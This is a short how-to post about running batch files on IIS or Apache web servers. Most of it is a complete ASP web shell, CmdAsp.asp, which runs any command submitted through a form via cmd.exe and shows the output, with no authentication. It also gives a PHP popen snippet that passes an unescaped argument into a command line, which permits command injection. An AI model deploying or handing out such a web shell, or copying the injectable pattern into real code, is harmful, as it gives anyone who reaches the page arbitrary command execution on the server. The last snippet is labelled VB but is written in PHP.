How to execute a bat file on IIS or Apache web-server
I found this code somewhere in Internet
[code language=”vb”]
<%@ Language=VBScript %>
<%
‘ File: CmdAsp.asp
‘ Author: Maceo <maceo @ dogmile.com>
‘ Release: 2000-12-01
‘ OS: Windows 2000, 4.0 NT
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
‘ — create the COM objects that we will be using — ‘
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
‘ — check for a command that we have posted — ‘
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
‘ — Use a poor man’s pipe … a temp file — ‘
szTempFile = "d:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, false)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
response.write("zx="&szCMD)
If (IsObject(oFile)) Then
‘ — Read the output from our command and remove the temp file — ‘
On Error Resume Next
Response.Write(Server.HTMLEncode(oFile.ReadAll))
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY></HTML>
[/code]
PHP, Apache on Windows
[code language=”php”]
pclose(popen("start /B cmd.exe /c c:\batfile.bat ".$arg, "r"));
[/code]
VB, IIS, Windows
[code language=”vb”]
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C command", 0, false);
[/code]